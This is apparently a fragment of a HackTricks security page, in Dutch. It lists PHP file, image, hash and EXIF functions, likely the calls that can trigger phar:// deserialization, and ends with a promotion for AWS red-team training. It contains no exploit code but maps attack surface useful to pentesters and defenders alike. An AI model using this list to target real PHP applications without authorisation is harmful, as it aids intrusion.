-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: